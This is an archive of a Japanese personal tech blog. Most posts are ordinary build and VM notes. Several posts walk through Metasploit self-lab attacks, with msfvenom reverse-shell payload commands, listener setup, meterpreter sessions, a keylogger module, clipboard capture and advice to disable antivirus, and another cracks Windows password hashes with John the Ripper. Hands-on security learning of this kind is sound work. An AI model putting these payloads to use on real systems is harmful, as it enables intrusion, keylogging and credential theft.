2024年3月31日日曜日

iOS アプリを久しぶりにビルドしたときのメモ

iOS アプリを久しぶりにビルドしたときのメモ

概要

最終ビルドは 2021/7 頃のアプリになります
もともと Swift5 化はしていたプロジェクトになります

環境

  • Xcode 15.3
  • macOS 14.4.1

libarclite 対応

エラー

SDK does not contain 'libarclite' at the path '/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/arc/libarclite_iphonesimulator.a'; try increasing the minimum deployment target

対処方法

cocoapods などでインストールしたライブラリに対して行います
iOS Deployment Target を 12 以上にします
あまりメンテナンスされていないライブラリや古いライブラリの場合に発生します

  • Pods -> Project-> Build Settings -> iOS Deployment Target -> 12.0

ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES を inherited にする

エラー

cocoapods で表示される警告になります

[!] The `projectUITests [Debug]` target overrides the `ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES` build setting defined in `Pods/Target Support Files/Pods-project-projectUITests/Pods-project-projectUITests.debug.xcconfig'. This can lead to problems with the CocoaPods installation

対処方法

ビルド設定で ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES を $(inherited) を設定します

  • Target -> projectTests -> Build Settings -> Always Embed Swift Starndard Libraries -> $(inherited)

Sandbox オプションの無効化

エラー

データ保存系のライブラリで発生している気がします

Sandbox: rsync.samba(19313) deny(1) file-read-data /Users/user/Library/Developer/Xcode/DerivedData/project-bpovlgogrctpyxcxspcdgxydcxon/Build/Products/Debug-iphonesimulator/XCFrameworkIntermediates/Realm/Headers

対処方法

  • Project-> Build Settings -> User Script Sandboxing -> No

各種非推奨のコードなどの変更

Xcode が指摘してくれるおすすめ設定やコードリファクタを行いましょう

古いライブラリや存在していないライブラリの削除

例えば Firebase/AdMob はすでに存在していません
存在していないのですがなぜか使えて使っている場合は古い Firebase/Core が使われてしまうので危険です
ちゃんと代替の Google-Mobile-Ads-SDK を使う必要があります

+  pod 'Google-Mobile-Ads-SDK'
-  pod 'Firebase/AdMob'

最後に

定期的にビルドするのが大事です

2024年3月28日木曜日

Kindle for Mac はシステム側の言語が英語になっている場合に Amazon.com に接続してしまう

Kindle for Mac はシステム側の言語が英語になっている場合に Amazon.com に接続してしまう

概要

その場合の対象方法を紹介します

環境

  • macOS 14.4
  • Amazon Kindle 7.4

対処方法

System Settings -> Language & Region の Applications に Kindle アプリを追加する

Kindle アプリから一度ログアウトし再起動する

するとちゃんとログイン画面も日本語になり接続先も Amazon.co.jp になります
ログインするとスマホ側の Kindle や SMS でログイン通知が来ると思います

最後に

システム側のデフォルト言語を英語にしている場合は Amazon.com に接続に行ってしまうようなので注意しましょう

携帯番号の設定やメールアドレスを co.jp と .com で分ける方法もあるようですが一番てっとり早いのは Language & Region を使う方法かなと思います

参考サイト

2024年3月27日水曜日

Windows11 で取得したパスワードハッシュがなぜか John the ripper で解析できない場合の原因

Windows11 で取得したパスワードハッシュがなぜか John the ripper で解析できない場合の原因

概要

タイトルの通りです
原因を紹介します

環境

  • macOS 14.4
  • John the ripper 1.9.0

現象

john コマンドを使って解析し --show で結果を確認してもなぜかハッシュ値が表示されてしまいます
password.lst には当たりのパスワードを入力済みです

  • john --wordlist=./password.lst --format=nt ./hash.txt

hash.txt の内容は以下の通りです

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user01:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

これで解析後に --show を実行してもなぜか上記のハッシュ情報だけが表示されます
結果には 4 password hashes cracked, 0 left と表示されています

原因

どうやらセキュリティ対策でパスワードハッシュを取得すると必ず空文字のハッシュが返るようになっているようです
以下が空文字のハッシュ値です

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

比較的新しいパッチが当たった Windows10 or Windows11 の場合にこうなってしまうようなのでパスワードハッシュの解析を John the ripper でしたい場合には Windows7 などを用意しましょう

Tips: 再度解析する場合は

キャッシュファイルを削除しましょう

  • rm ~/.john/john.pot

最後に

正しいパスワードハッシュを得る方法はあるのだろうか

参考サイト

2024年3月25日月曜日

M2 Pro mac mini で Steam の Windows ゲームを動かす方法

M2 Pro mac mini で Steam の Windows ゲームを動かす方法

概要

whiskyというアプリを使います

環境

  • macOS 14.4
  • whisky 2.2.3

whisky のインストール

  • brew install --cask whisky

whisky 起動

アプリケーションの一覧から起動します

Mac のメイン言語を英語にする

https://github.com/Whisky-App/Whisky/issues/237

これが結構重要です
もし日本語で進めると Steam のセットアップで失敗します

セットアップ

次へをクリックすると GPTK のインストールが始まります

インストールが完了するまで待ちましょう

ダウンロードが完了したらセットアップは完了です

Steam のインストール

まずは Windows 版の steam をダウンロードします
ここから Windows マークをクリックして SteamSetup.exe をダウンロードします

Whisky に戻り Bottle を作成します

Bottle 名を入力し作成をクリックします

C: ドライブを開くを選択し Whisky が管理しているディレクトリ配下にダウンロードした SteamSetup.exe を配置します
そして実行から SteamSetup.exe を実行します

Steam のセットアップ画面が表示されればあとは通常通りインストールします

写真は日本語表示ですが本来は Mac のシステム言語を英語にしているので英語表示が正しいです

動作確認

あとは Steam が起動するのでログインしてライブラリから Windows ゲームをインストールし起動するか確認しましょう

またインストールした steam.exe は drive_c/Program Files (x86)/Steam/steam.exe にあるのでこの exe は Pin に追加しておくと良いでしょう

終了する場合は

whisky を終了しても steam は起動し続けてしまうのでツールバーにある Steam の表示から Exit しましょう

最後に

whisky を使って Mac 上で Windows 用の Steam ゲームを動かしてみました
特定のアプリだけであれば VM を作成して動かすよりも簡単にできます

ポイントは Mac 自体のシステム言語を英語にする点です

参考サイト

2024年3月23日土曜日

Android アプリを久しぶりにビルドしたときのメモ

Android アプリを久しぶりにビルドしたときのメモ

概要

シミュレーターで動作するまでにいろいろとエラーを解消する必要があったのでメモしておきます
正直出過ぎるので都度対応するのが面倒な場合は一から書き直したほうが最新のプロジェクト構成にもなるので良いかなと思います

環境

  • macOS 14.4
  • Android Studio Iguana
  • コード最終コミット 2018/10/2

gradle plugin のバージョンの指定

エラー

A problem occurred evaluating project ':app'.

解決方法

build.gradle で gradle のバージョン部分を修正する
File -> Project Structure -> Project からでも OK

agp_version = '8.3.1'

distributionUrlの設定

エラー

Minimum supported Gradle version is 8.4. Current version is 8.2.

解決方法

./gradle/wrapper/gradle-wrapper.properties を作成し以下を記載する

distributionUrl=https\://services.gradle.org/distributions/gradle-8.4-all.zip

namespace の指定がない

エラー

Namespace not specified. Specify a namespace in the module's build file.

解決方法

app/build.gradle への namespace ディレクティブの追加

android {
    namespace "com.example.myapp"

Suggestions のアップデート

エラー

  • 不明

解決方法

File -> Project Structure -> Suggestions から表示されている Update を適用すれば OK

この段階で gradle ビルドは成功した
以下は実行時に発生したエラーへの対処方法

AndroidX へのマイグレーション

エラー

Caused by: com.android.builder.errors.EvalIssueException: Configuration `:app:debugRuntimeClasspath` contains AndroidX dependencies, but the `android.useAndroidX` property is not enabled, which may cause runtime issues.

解決方法

./gradle.properties の作成と以下の追記

android.useAndroidX=true
android.enableJetifier=true

コードの AnroidX へのマイグレーション

エラー

import android.support.v7.app.AppCompatActivity がないなどのエラー多数

解決方法

なぜか Iguana には Migrate to AndroidX の機能がないので shell スクリプトを使う

#!/usr/bin/env bash

# I've found that the "Migrate to AndroidX" converter in Android Studio doesn't work very
# well, so I wrote my own script to do the simple job of converting package names.
#
# You can download a CSV of package names here: https://developer.android.com/topic/libraries/support-library/downloads/androidx-class-mapping.csv
#
# It'll run faster on a clean build because then there are fewer files to scan over.
#
# Uses `gsed` because I'm on a Mac. Can easily replace with `sed` if you don't have `gsed`.
# 
# This isn't perfect; it won't find every conversion issue. You break it you buy it. Viewer discretion is advised.

MAPPING_FILE=~/Downloads/androidx-class-mapping.csv
PROJECT_DIR=~/data/repo/android-fndic

replace=""
while IFS=, read -r from to
do
        replace+="; s/$from/$to/g"
done <<< "$(cat $MAPPING_FILE)"

find $PROJECT_DIR \( -name "*.kt" -o -name "*.java" -o -name "*.xml" \) -type f -not -path '*/\.git*' -print0 | xargs -0 gsed -i "$replace"

package 定義の削除

エラー

Setting the namespace via the package attribute in the source AndroidManifest.xml is no longer supported.

解決策

AndroidManifest.xml から package を削除

SDK バージョン修正

エラー

A failure occurred while executing com.android.build.gradle.internal.tasks.CheckAarMetadataWorkAction

上記プラス指定のバージョンが小さすぎるという旨の英語のエラーが出たはず

解決策

app/build.gradle への minSdkVersion と targetSdkVersion の修正

minSdkVersion 21
targetSdkVersion 34

AndroidManifest.xml の activity に android:exported の追加

エラー

android:exported needs to be explicitly specified for element

解決策

android:exported="true"

google-services のアップデート

エラー

Type 'com.google.gms.googleservices.GoogleServicesTask' field 'quickstartFile'

解決策

build.gradle 修正

classpath 'com.google.gms:google-services:4.4.1'
mavenCentral()

コードリファクタ

エラー

error: package R does not exist
error: cannot find symbol addTestDevice

など

解決方法

基本はリファクタ機能を使えば OK
Admob に関しては参考サイトの URL の通りにバナー広告などを設置する

Admob 修正

エラー

Missing application ID. AdMob publishers should follow the instructions

解決方法

https://developers.google.com/admob/android/quick-start?hl=ja#import_the_mobile_ads_sdk

AndroidManifest.xml に APPLICATION_ID を追記する

Admonb 修正2

エラー

The ad unit ID can only be set once on AdView.

解決策

xml 側とコード側で2回広告IDをセットしている場合はどちらかを削除する

adView.setAdUnitId("ca-pub-xxx")

アプリビルド時の Signing の修正

エラー

Android App Bundle をアップロードするには、Play App Signing に登録している必要があります。

解決策

公開鍵と pepk.jar をダウンロードし秘密鍵を生成
秘密鍵は Google Play にアップロード
公開鍵 (encryption_public_key.pem) は Google Play からダウンロード可能
これを使ってアプリに Signing する
keystore がない場合は Android Studio で作成する

  • java -jar pepk.jar --keystore=app.crt --alias=foo --output=app.key --rsa-aes-encryption --encryption-key-path=encryption_public_key.pem

最後に

アプリのプロジェクトは常に最新バージョンに対応しておかないと大変なことになります

参考サイト

2024年3月22日金曜日

Mestasploit msfconsole インストール時のトラブルシューティング

Mestasploit msfconsole インストール時のトラブルシューティング

概要

Intel Mac に Metasploit をインストールし msfconsole を起動する際にいろいろと手間取ったのでトラブルシューティングを紹介します

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

Could not find rake-13.0.6 in any of the sources

rbenv をインストールしている環境だと出る可能性がありそうです
なぜか 3.0.5 で固定されているので修正します

  • cd /opt/metasploit-framework/embedded/framework

最新に合わせたり指定のバージョンを変更する場合は以下です

  • sudo rbenv local system

rbenv を使っていない場合は削除しましょう

  • sudo rm .ruby-version

そして

  • sudo bundle install

pg のインストールに失敗

  • brew install libpq
  • bundle config build.pg --with-pg-config=/usr/local/opt/libpq/bin/pg_config
  • sudo bundle install

msfconsole の実行パスを変える

/opt/metasploit-framework/embedded/framework ができればここに msfconsole がインストールされるのでここで実行するとうまく起動できます

  • cd /opt/metasploit-framework/embedded/framework
  • bundle exec msfconsole

また msf6 コンソールになった場合は msfvenom などのコマンドは

  • bundle exec msfvenom

という感じで実行しましょう

最後に

M2 mac の際には出なかったので環境による差異なのかなと思います
基本は Ruby 周りのトラブルシューティングをすれば OK です

2024年3月21日木曜日

Mac でキーロガー

Mac でキーロガー

概要

Metasploit を使って Mac でキーロガーを試してみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

起動

  • bundle exec msfconsole

リバースシェル用スクリプト作成

  • bundle exec msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.2 -f raw -o /path/to/test.sh

Mac 側待ち受け

-j を付与してバックグランドセッションにします

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit -j 

[*] Started reverse TCP handler on 192.168.1.2:4444

リバースシェル実行

キーロガーをされる側に生成した

test.sh
を配置して実行しましょう
テストのため同一ホストでも OK です

  • chmod +x /path/to/test.sh
  • ./path/to/test.sh

キーロガー post の実行

先ほどバックグラウンドで接続したセッションを使って post/osx/capture/keylog_recorder を実行します

msf6 post(osx/capture/keylog_recorder) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  5         shell cmd/unix               192.168.1.2:4444 -> 192.168.1.2:61502 (192.168.1.2)

msf6 post(osx/capture/keylog_recorder) > use post/osx/capture/keylog_recorder
msf6 post(osx/capture/keylog_recorder) > set SESSION 5
SESSION => 5
msf6 post(osx/capture/keylog_recorder) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix. This module works with: OSX.
[*] Executing ruby command to start keylogger process.
[*] Ruby process executing with pid 13679
[*] Entering read loop
[*] Waiting 10 seconds.

ログファイルは /Users/hawk/.msf4/loot/20240314115337_default_192.168.1.2_keylog_742643.txt という感じのファイルで保存されます

最後に

Metaexploit を使って Mac でキーロガーする方法を試してみました
一度セッションを確立したあとで別の post を実行するのがポイントです

ログファイルを見ると ctrl や enter は取得できているようですが普通のキーは cmd という感じで表示されるのでこれが普通のキーで表示する方法が不明でした

参考サイト

2024年3月20日水曜日

Mac で meterpreter を使ったリバースシェルを行う

Mac で meterpreter を使ったリバースシェルを行う

概要

meterpreter ターミナルが使えほうがいろいろ便利なのでやってみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

mach-o ファイルの作成

  • bundle exec msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 -f macho -o /path/to/test.macho

Mac 側待ち受け

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.2:4444

mach-o ファイル起動

  • chmod +x test.macho
  • ./test.macho

動作確認

[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.2:62110) at 2024-03-14 12:46:47 +0900

meterpreter > getuid
Server username: user01
meterpreter > sysinfo
Computer     : test.local
OS           : macOS Big Sur (macOS 11.7.10)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (x64/osx)

keyscan_start は使えないようです
クリップボードの取得はできそうです

meterpreter > load extapi
Loading extension extapi...Success.

meterpreter > clipboard_get_data
Text captured at 
=================
test.sh
=================

最後に

Mac でリバースシェルの際に meterpreter モードで接続する方法を紹介しました
おそらく shell 方式ではできないので meterpreter を使いたい場合は mach-o ファイルとペイロードを使いましょう

参考サイト

2024年3月19日火曜日

Metasploit で Ubuntu リバースシェルをしてみた

Metasploit で Ubuntu リバースシェルをしてみた

概要

前回 Windows に対して行ってみました
今回は Ubuntu 環境に対して行ってみます

環境

  • Ubuntu 22.04
  • Metasploit 6.3.60

インストール

こちら

リバースシェルスクリプト生成

payload = cmd/unix/reverse_bash を使います
似たようなペイロードに generic/shell_reverse_tcp や linux/x64/shell_reverse_tcp がありますが形式がバイナリであったり elf 形式でわかりづらいので今回は bash 形式のペイロードを使います

  • msfconsole

msf6> モードになります

  • msfvenom -p cmd/unix/reverse_bash LHOST=192.168.100.2 -f raw -o /home/devops/work/test.sh

192.168.100.2 は Ubuntu のアドレスです

待ち受け

こちらは好きなホストで実施して OK です
リバースシェルを待ち受ける側のホストで実行します

  • msfconsole

msf6> モードになります

  • use exploit/multi/handler
  • set payload cmd/unix/reverse_bash
  • set LHOST 192.168.100.2
  • exploit

動作確認

Ubuntu 側に test.sh を配置して実行権限を与えます

  • chmod +x /home/devops/work/test.sh
  • ./home/devops/work/test.sh

あとは実行すると待ち受け側でコマンドが実行できることが確認できます

[*] Started reverse TCP handler on 192.168.100.2:4444
[*] Command shell session 2 opened (192.168.100.2:4444 -> 192.168.100.2:41490) at 2024-03-13 16:55:59 +0900

pwd
/home/devops/work
uname -an
Linux ubuntu01 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

最後に

Metasploit を使って Ubuntu に対してリバースシェルを行ってみました
生成されるシェルスクリプトはかなりシンプルなファイルなのでわざわざ Metasploit を使わなくても OK ですが Metasploit に慣れるためにそうしています

参考サイト

2024年3月18日月曜日

Mac に Metasploit をインストールして Windows にアクセスする

Mac に Metasploit をインストールして Windows にアクセスする

概要

Mac に Metasploit をインストールして Windows にアクセスするテストをしてみました
Windows は UTM で同一ネットワーク上に構築しています

環境

  • macOS 14.4
  • Metasploit 6.3.60
  • ARM Windows11 23H2 (UTM)

インストール

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

brew install でもいけそうでしたが今回は公式の手順を使ってインストールしました

Tips: Windows ファイアウォールの無効化

特に外部からのアクセスがないのであればファイアウォールは無効にしたほうが簡単にテストできます

個別で許可しても OK

詳細設定から個別でポートやプロトコルを許可しても OK です
以下は ping (ICMP) を許可する場合です
真ん中あたりに許可するチェックボックスがあるのでチェックします

一覧画面でチェックマークがつけば許可状態になります

Mac 側のファイアウォールはデフォルトでは inactive などで特に何もする必要はないはずです

Metasploit 初期化

  • /opt/metasploit-framework/bin/msfconsole
 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.

Would you like to add msfconsole and other programs to your default PATH? yes
You may need to start a new terminal or log in again for this to take effect.

Would you like to use and setup a new database (recommended)? yes
Running the 'init' command for the database:
Creating database at /Users/user01/.msf4/db
Creating db socket file at /var/folders/by/zv83htxj087dxf35rjpvff2h0000gn/T
Starting database at /Users/user01/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /Users/user01/.msf4/db/pg_hba.conf
Stopping database at /Users/user01/.msf4/db
Starting database at /Users/user01/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command

アクセスできるかテスト

  • /opt/metasploit-framework/bin/msfconsole

まずはアクセステスト用のファイルを生成します

msf6 > search type:payload windows/meterpreter/reverse_tcp platform:windows
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /Users/user01/Downloads/test.exe

Mac 側を待受状態にします

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.65.1
LHOST => 192.168.65.1
msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.65.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.65.1:4444

あとは windows 側に test.exe を配置し実行してリバースシェルが起動するか確認しましょう

[*] Sending stage (176198 bytes) to 192.168.65.2
[*] Meterpreter session 1 opened (192.168.65.1:4444 -> 192.168.65.2:49897) at 2024-03-13 09:05:49 +0900

meterpreter > ls
Listing: Z:\
============

Mode              Size   Type  Last modified                      Name
----              ----   ----  -------------                      ----
100666/rw-rw-rw-  6148   fil   2024-03-13 08:59:01 +0900          .DS_Store
100666/rw-rw-rw-  0      fil   2023-06-08 10:43:10 +0900          .localized
040777/rwxrwxrwx  0      dir   584554050854-11-09 16:00:16 +0900  .spice-clipboard
100777/rwxrwxrwx  73802  fil   2024-03-12 17:12:55 +0900          test.exe

meterpreter > sysinfo
Computer        : WINDOWS-0MPIPQN
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : ja_JP
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

最後に

Mac に Metasploit をインストールしローカルネットワーク用の Windows マシンを使ってアクセステストをしてみました
ファイアウォールが無効になっている場合は元に戻すかテスト用の Windows マシン自体が不要であれば削除してしまいましょう
Windows 側に送った test.exe はウイルスファイルとして削除されてしまうことがあります
その場合は Windows Defender ウイルス対策で除外ファイルとして設定するか一時的にウイルス対策を停止しましょう

参考サイト

2024年3月17日日曜日

Windows10 でタスクバーにピン留めされている InternetExplorer が消えないときの対処方法

Windows10 でタスクバーにピン留めされている InternetExplorer が消えないときの対処方法

概要

タスクバーを右リクックして消したつもりが再起動後に復活している場合の対象方法を紹介します

環境

  • Windows 10

LayoutModification.xml を編集する

  • C:\Users\Default\AppData\Local\Microsoft\Windows\Shell
    に移動
  • LayoutModification.xml を編集可能な適当な場所にコピー
  • LayoutModification.xml の41行目あたりをコメントアウト
  <CustomTaskbarLayoutCollection PinListPlacement="Replace">
    <defaultlayout:TaskbarLayout>
      <taskbar:TaskbarPinList>
        <taskbar:DesktopApp DesktopApplicationLinkPath="%APPDATA%\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk" />
        <!-- <taskbar:DesktopApp DesktopApplicationLinkPath="%APPDATA%\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk"/> -->
      </taskbar:TaskbarPinList>
    </defaultlayout:TaskbarLayout>
  </CustomTaskbarLayoutCollection>
</LayoutModificationTemplate>
  • 編集した LayoutModification.xml を
    C:\Users\Default\AppData\Local\Microsoft\Windows\Shell
    に移動
  • 再起動してタスクバーから InternetExplorer が消えていることを確認

ダメな場合は

C:\Users\Default\AppData\Local\Microsoft\Windows\Shell
ではなく
C:\Users\user_name\AppData\Local\Microsoft\Windows\Shell
というログインしているユーザの LayoutModification.xml を同じように編集してみましょう

それでもダメな場合は

  • C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar
  • C:\Users\user_name\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar

配下にある InternetExplorere のショートカットファイルを削除しましょう

最後に

レジストリはいじらなくても良さそうです

参考サイト

2024年3月16日土曜日

UTM 上の ARM Windows では OpenGL がまだ動かないっぽい

UTM 上の ARM Windows では OpenGL がまだ動かないっぽい

メモ

Newly created Windows VMs will now use virtio-ramfb-gl (Apple Silicon) or virtio-vga-gl (Intel) by default. There is NO 3D acceleration drivers for Windows yet, so unlike Linux, this will not improve any compatibility with applications.

UTM はハードウェア依存なのでハード側が対応していなければ 3D アクセラレーションは動かないっぽい
OpenGL 自体は M2 Pro でも動作するが 3Dアクセラレーションがないとダメっぽい

Paralles は特殊な方法で動作するにしているらしい

環境

  • macOS 14.2.1
  • UTM 4.4.5
  • Windows11 23H2 arm64

2024年3月15日金曜日

UTM で Windows Insider Preview から Windows11 が起動するか確認してみた

UTM で Windows Insider Preview から Windows11 が起動するか確認してみた

概要

過去に UTM + UUP Dump を使って M2 mac 上に Windows11 を構築してみました
今回は Windows Insideer Preview という公式の ARM版 Windows がダウンロードできるサイトから Windows をダウンロードして UTM で動作するか確認してみました

環境

  • macOS 14.2.1
  • UTM 4.4.5
  • Windows11 23H2 arm64

Windows Insideer Preview から Windows の VHDX ファイルをダウンロードする

Windows Insideer Preview からは ISO ではなく VHDX というすでに Windows がインストールされた仮想ディスクファイルがダウンロードできます
ファイルサイズが 10GB ほどあるので注意しましょう

また Windows Insideer Preview は申込みが必要で最初は上記の画面が表示されず申し込み画面になるので MS アカウントでログインして申し込みしましょう

UTM で仮想マシンの作成

ポイントは ISO をマウントするのではディスクから VM を作成する点です

Let’s connect you to a network 対策

セットアップ時になぜかネットワークに接続していない状態になるためネットワークを設定する箇所をスキップする必要があります (デフォルトだとネットワーク設定必須

キーボードのセットアップ時に Shift+F10 を押しコマンドプロンプトを開きます
そして OOBE\BYPASSNRO と入力することでスキップできます
ネットワークの設定画面になり「Let’s connect you to a network」が表示された画面で Shift+F10 をクリックしても反応しないので必ずキーボードの設定画面で Shift+F10 をクリックしましょう

再起動後にネットワークの設定画面になると以下のようにスキップするボタンが追加されているのでそっちを選択してセットアップを進めましょう

参考

起動後

必ず SPICE tools (utm guest tools) をインストールしましょう
これがインストールできればネットワークに接続できるようになります

動作確認

すでに Windows はインストールされているので設定から始まります

最後に

Microsoft 公式の ARM版Windows を UTM で動かしてみました
プレビュー版なので動作などは不安定な部分があるかもしれません
過去に ISO から起動する方法を紹介しましたが公式の場合は VHDX 形式なのでインストールする作業が不要なのが楽な点なのかなと思いました

ただ作成したユーザはデフォルトでは admin 権限がもらえていないので権限が必要な操作ができないので少し面倒です

個人的なおすすめは CystalFetch で作成した ISO を使ってインストールする方法が一番良いかなと思います

2024年3月14日木曜日

CrystalFetch でダウンロードした Windows11 が M2 mac で動作するか確認

CrystalFetch でダウンロードした Windows11 が M2 mac で動作するか確認

概要

過去に UTM+M2 mac で ARM版 Windows が起動するか確認しました
その際は UUP Dump というサイトで生成した ISO イメージを使用しました
CrystalFetch は更に簡単に Windows の ISO をダウンロードできるツールです
今回は CrystalFetch をインストールし CrystalFetch で生成した ISO を使って ARM版 Windows が起動するか試してみました

環境

  • macOS 14.2.1
  • UTM 4.4.5
  • Windows11 23H2 arm64

CrystalFetch のインストール

Apple Store で公開されているのでそこからインストールするのが簡単です

Windows11 23H2 のダウンロード

CrystalFetch を開くとデフォルトの画面がすでに Windows の最新版をダウンロードできるようになっています
そのままダウンロードしましょう

5.33GB ほどあるのでダウンロードできるまで待ちましょう
「22631.2861.231204-0538.23H2_NI_RELEASE_SVC_REFRESH_CLIENTCONSUMER_RET_A64FRE_ja-jp.iso」という名前のファイルができれば OK です

UTM で Windows マシンを作成する

新規仮想マシンの作成を選択します

仮想化を選択します

Windows を選択します

チェックボックスは以下のようにします (デフォルトがそうなっているはず
先ほどダウンロードした ISO のパスを指定します

CPU、メモリの割当を決定します
ホストマシンのリソースに合わせて好きなように設定しましょう

ストレージの容量を決定します

ホスト側と共有したいディレクトリがある場合は指定します

概要を確認して問題なければ保存します

あとは VM を起動しましょう

起動時のメモ

UEFI Interactive Shell に入ってしまう場合は「exit」と打って一度抜けます
更に次の画面で設定画面になるので矢印でカーソルを動かして reset します
そのあとで「Press any key to boot CD or DVD」が表示されたら何かしらキーを押してマウントしている ISO から起動するようにします

初回は ISO から Windows をインストールする必要があります インストール完了後は ISO は不要なのでマウントを解除してあげましょう

あとはインストール後に SPICE tools をインストールする必要があるのでインストールしましょう

最後に

CrystalFetch で Windows11 の ISO をダウンロードし UTM で動作するか確認してみました
CrystalFetch を使った場合 UUP Dump で面倒な選択をしないで良いのと自分でスクリプトを実行して ISO をビルドする必要がないのでかなり楽に ARM版 Windows を手に入れることができます

参考サイト

2024年3月13日水曜日

Azure Devops の pipeline 機能を自動で実行する方法

Azure Devops の pipeline 機能を自動で実行する方法

概要

前回 手動でパイプラインを実行する方法を紹介しました
今回は自動でパイプラインを実行する方法を紹介します

環境

  • Azure Devops (2024/03/07 時点)
  • macOS 11.7.10

azure-pipelines.yml

答え: trigger で batch: true にし自動実行するブランチを指定すれば OK です

サンプル

trigger:
  batch: true
  branches:
    include:
    - master

pool:
  vmImage: "ubuntu-latest"

jobs:
- job: TestJob
  steps:
  - script: |
      echo "Hello, Azure Pipelines!"
      cat /etc/issue
      uname -a
    displayName: 'Run My Command'

最後に

trigger にブランチ名だけ指定した場合は自動では実行されず手動になるので注意しましょう

CI/CD したい場合は batch を使います

参考サイト

2024年3月12日火曜日

Azure Devops で REST API をコールする方法

Azure Devops で REST API をコールする方法

概要

Azure Devops の REST API をコールしてみました
今回はプロジェクトの一覧を取得しています
公式のリファレンスはこちらです

環境

curl

user には Azure Devops で使用しているユーザ名を pta には個人用アクセストークンを入力しましょう
また organization_name の部分も組織名を適宜入力してください

  • curl -u "user:pta" "https://dev.azure.com/organization_name/_apis/projects?api-version=2.0"

レスポンスのサンプルは以下のとおりです

{
  "count": 1,
  "value": [
    {
      "id": "1dd3f062-ec15-4065-9401-bf2266c1fc97",
      "name": "test",
      "url": "https://dev.azure.com/organization_name/_apis/projects/9e67f2f0-9f0b-4be9-8084-42426920a786",
      "state": "wellFormed",
      "revision": 11,
      "visibility": "private",
      "lastUpdateTime": "2024-02-20T02:38:46.713Z"
    }
  ]
}

python

  • pipenv install azure-devops
from azure.devops.connection import Connection
from msrest.authentication import BasicAuthentication

# トークンとAzure DevopsのURLを設定
personal_access_token = "pta"
organization_url = "https://dev.azure.com/xxx"

# コネクションの作成
credentials = BasicAuthentication("", personal_access_token)
connection = Connection(base_url=organization_url, creds=credentials)

# クライアントの作成
core_client = connection.clients.get_core_client()

# プロジェクトの一覧の取得
projects = core_client.get_projects()
for project in projects:
    print(project.name)

ページネイト用の continuation_token というのがあるらしいが取得方法がわからなかったです

最後に

Azure Devops の API を使ってみました
